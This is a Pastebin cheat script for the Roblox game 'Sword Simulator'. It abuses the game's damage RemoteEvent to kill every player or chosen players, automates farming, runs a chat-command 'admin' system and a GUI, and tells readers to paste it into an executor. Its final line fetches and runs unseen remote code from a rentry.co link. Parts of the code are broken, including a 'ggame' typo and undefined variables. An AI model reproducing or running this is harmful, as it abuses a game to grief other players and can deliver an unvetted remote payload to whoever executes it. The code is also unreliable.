Pastebin
--[[
WARNING: The commands('cmds', 'admin' and 'unadmin' will make you chat)
To kill silently type '/e kill' (it will kill everybody)[/align]
[align=center]You cant kill the people that have force field on
--------------------------
Prefix --> ':'
[0]CMDS:
[1]kill (me/plr/others/all)
[2]admin (all/plr)
[3]unadmin (all/plr)
[4]af (autofarm)
[5]saf (stop autofarm)
[6]cmds (chats the cmds list)
--------------------------
If you found any bug please go to this thread and let me know it!
https://v3rmillion.net/showthread.php?tid=690888
--]]
local isAdmin = {[game.Players.LocalPlayer.Name] = true, ["FRIEND1"] = true, ["FRIEND2"] = true} --Admins
local lplr = game.Players.LocalPlayer.Name
local au = false
Owner = game:GetService("Players").LocalPlayer
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Sword Simulator Admin";
Text = "Enjoy the script while it lasts!";})
function GetPlayer(String) -- Credits to Timeless/xFunnieuss for the get player by string function
local Found = {}
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Name:lower():sub(1, #String) == String:lower() then
table.insert(Found,v)
end
end
return Found
end
local function AF()
au = true
game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
while au do
game.Workspace[lplr].sword.Handle.up.RemoteEvent:FireServer() wait(.1)
if game.Players[lplr].Backpack["sword"] then
game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
end
end
end
local function KA()
game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
for i,v in ipairs(game.Players:GetPlayers())do
game.Workspace[lplr].sword.Handle.dmg.RemoteEvent:FireServer(workspace[v.Name].Humanoid, 9999999999999999999999)
end end
local function KO()
game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
for i,v in ipairs(game.Players:GetPlayers())do
if v.Name ~= game.Players.LocalPlayer.Name then
game.Workspace[lplr].sword.Handle.dmg.RemoteEvent:FireServer(workspace[v.Name].Humanoid, 9999999999999999999999)
end end
end
print'Loaded'
function onChatted(message, player)
if message:sub(1, 6) == ";kill " and isAdmin[player.Name] then
if string.sub(message, 7) == "all" then
KA()
elseif string.sub(message, 7) == "me" then
game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
ggame.Workspace[lplr].sword.Handle.dmg.RemoteEvent:FireServer(workspace[v.Name].Humanoid, 9999999999999999999999)
elseif string.sub(message, 7) == "others" then
if player.Name == Owner.Name then
KO()
else
game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
for i,v in ipairs(game.Players:GetPlayers())do
if v.Name ~= player.Name then
game.Workspace[lplr].sword.Handle.dmg.RemoteEvent:FireServer(workspace[v.Name].Humanoid, 9999999999999999999999)
end end
end
else
game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
for i,v in pairs(GetPlayer(string.sub(message, 7)))do
local plr = v.Name
for i,p in ipairs(game.Players:GetPlayers())do
if p.Name ~= game.Players.LocalPlayer.Name then
game.Workspace[lplr].sword.Handle.dmg.RemoteEvent:FireServer(workspace[v.Name].Humanoid, 9999999999999999999999)
end end end
end
end
if message:sub(1, 7) == "/e kill" and isAdmin[player.Name] then
KA()
end
if message:sub(1, 6) == ";cmds" then
if player.Name == Owner.Name then
wait(0.2)
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]CMDS: [1]kill(me/plr/others/all), [2]admin(all/plr), [3]unadmin(all/plr), [4]af(autofarm), [5]saf(stop autofarm), [6]cmds", "All")
elseif isAdmin[player.Name] and player.Name ~= Owner.Name then
wait(0.2)
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]CMDS: [1]kill(me/plr/others/all), [2]admin(all/plr), [3]unadmin(all/plr), [4]cmds", "All")
end
end
if message:sub(1, 7) == ";admin " and isAdmin[player.Name] then
if string.sub(message, 8) == "all" and isAdmin[Owner.Name] then
if isAdmin[Owner.Name] then
for i,plrs in ipairs(game:GetService('Players'):GetChildren())do
isAdmin[plrs.Name] = {true}
end
wait(0.2)
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]Everyone is now Admin!", "All")
end
else
for i,v in pairs(GetPlayer(string.sub(message, 8)))do
local plr = v.Name
if isAdmin[plr] then
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]"..plr.." is already Admin!", "All")
else
isAdmin[plr] = {true}
wait(0.2)
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]"..plr.." is now Admin!", "All")
end
end
end
end
if message:sub(1, 9) == ";unadmin " and isAdmin[player.Name] then
if string.sub(message, 10) == "all" then
if isAdmin[Owner.Name] then
for i,plrs in ipairs(game:GetService('Players'):GetPlayers())do
isAdmin[plrs.Name] = false
isAdmin[Owner.Name] = true
end
wait(0.2)
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]Everyone is no longer Admin!", "All")
end
else
for i,v in pairs(GetPlayer(string.sub(message, 10)))do
local plr = v.Name
if plr == Owner.Name then
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]Error, this player is the Owner!", "All")
else
isAdmin[plr] = false
wait(0.2)
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]"..plr.." is no longer Admin!", "All")
end
end
end
end
if message:sub(1, 3) == ";af" and player.Name == Owner.Name then
AF()
end
if message:sub(1, 4) == ";saf" and player.Name == Owner.Name then
au = false
end
end
Players = game:GetService("Players")
for i, player in pairs(Players:GetPlayers()) do
player.Chatted:connect(function(message) onChatted(message, player) end)
end
--Check if someone joined
game.Players.PlayerAdded:connect(function(player)
player.Chatted:connect(function(message) onChatted(message, player) end)
end)
--//-- DETECTION --\\--
if game:GetService("CoreGui"):FindFirstChild("Dankity") then
game:GetService("CoreGui").Dankity:Destroy()
end
--//-- VARIABLES --\\--
Dankity = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer.PlayerGui)
Main = Instance.new("Frame", Dankity)
Header = Instance.new("Frame", Main)
Text = Instance.new("TextLabel", Header)
Username = Instance.new("TextBox", Main)
Kill = Instance.new("TextButton", Main)
Power = Instance.new("TextButton", Main)
LocalPlayer = game:GetService("Players").LocalPlayer
Backpack = LocalPlayer.Backpack
Character = LocalPlayer.Character
Humanoid = Character.Humanoid
--//-- PROPERTIES --\\--
Dankity.Name = "Dankity"
Dankity.ResetOnSpawn = false
Main.Name = "Main"
Main.BackgroundColor3 = Color3.new(0.384314, 0.384314, 0.384314)
Main.BorderSizePixel = 0
Main.Active = true
Main.Draggable = true
Main.Selectable = true
Main.Position = UDim2.new(0.321995467, 0, 0.22910662, 0)
Main.Size = UDim2.new(0, 471, 0, 375)
Header.Name = "Header"
Header.BackgroundColor3 = Color3.new(0.560784, 0.560784, 0.560784)
Header.BorderSizePixel = 0
Header.Position = UDim2.new(0, 0, 0.0613333359, 0)
Header.Size = UDim2.new(0, 471, 0, 64)
Text.Name = "Text"
Text.BackgroundColor3 = Color3.new(1, 1, 1)
Text.BackgroundTransparency = 1
Text.Position = UDim2.new(0.165605083, 0, 0.102874994, 0)
Text.Size = UDim2.new(0, 315, 0, 50)
Text.Font = Enum.Font.SourceSansBold
Text.Text = "Sword Simulator Destroyer"
Text.TextColor3 = Color3.new(1, 1, 1)
Text.TextSize = 30
Username.Name = "Username"
Username.BackgroundColor3 = Color3.new(0.560784, 0.560784, 0.560784)
Username.BorderSizePixel = 0
Username.Position = UDim2.new(0.17622079, 0, 0.346666723, 0)
Username.Size = UDim2.new(0, 305, 0, 50)
Username.Font = Enum.Font.SourceSansSemibold
Username.Text = "Username"
Username.TextColor3 = Color3.new(1, 1, 1)
Username.TextSize = 20
Kill.Name = "Kill"
Kill.BackgroundColor3 = Color3.new(0.560784, 0.560784, 0.560784)
Kill.BorderSizePixel = 0
Kill.Position = UDim2.new(0.282377899, 0, 0.519999981, 0)
Kill.Size = UDim2.new(0, 200, 0, 50)
Kill.Font = Enum.Font.SourceSansSemibold
Kill.Text = "Kill"
Kill.TextColor3 = Color3.new(1, 1, 1)
Kill.TextSize = 20
Kill.TextWrapped = true
Power.Name = "Power"
Power.BackgroundColor3 = Color3.new(0.560784, 0.560784, 0.560784)
Power.BorderSizePixel = 0
Power.Position = UDim2.new(0.282377899, 0, 0.685333312, 0)
Power.Size = UDim2.new(0, 200, 0, 50)
Power.Font = Enum.Font.SourceSansSemibold
Power.Text = "Power-Farming"
Power.TextColor3 = Color3.new(1, 1, 1)
Power.TextSize = 20
Power.TextWrapped = true
--//-- FUNCTIONS --\\--
function GetPlayers(Name)
if Name:lower() == "me" then
return {Player}
elseif Name:lower() == "all" then
return game:GetService("Players"):GetPlayers()
elseif Name:lower() == "others" then
local t = {}
for i, v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Name ~= Player.Name then
t[#t+1] = v
end
end
return t
else
local t = {}
for i, v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Name:sub(1, #Name):lower() == Name:lower() then
t[#t+1] = v
end
end
return t
end
end
--//-- SCRIPTING --\\--
Kill.MouseButton1Click:Connect(function()
for _,v in pairs(Backpack:GetChildren()) do
Humanoid:EquipTool(v)
end
local Plrs = GetPlayers(Username.Text)
for i,v in pairs(Plrs) do
for i = 1 , 10 do
if Character:FindFirstChild("sword") then
Character.sword.Handle.dmg.RemoteEvent:FireServer(game:GetService("Workspace")[v.Name].Humanoid, 9999)
end
end
end
end)
Power.MouseButton1Click:Connect(function()
for _,v in pairs(Backpack:GetChildren()) do
Humanoid:EquipTool(v)
end
if Character:FindFirstChild("sword") then
while wait() do
Character.sword.Handle.up.RemoteEvent:FireServer()
if not Character:FindFirstChild("sword") then
for _,v in pairs(Backpack:GetChildren()) do
Humanoid:EquipTool(v)
end
end
end
end
end)
loadstring(game:HttpGet("https://rentry.co/ezaba5az/raw", true))()
Select all text above, copy it, then paste into your executor.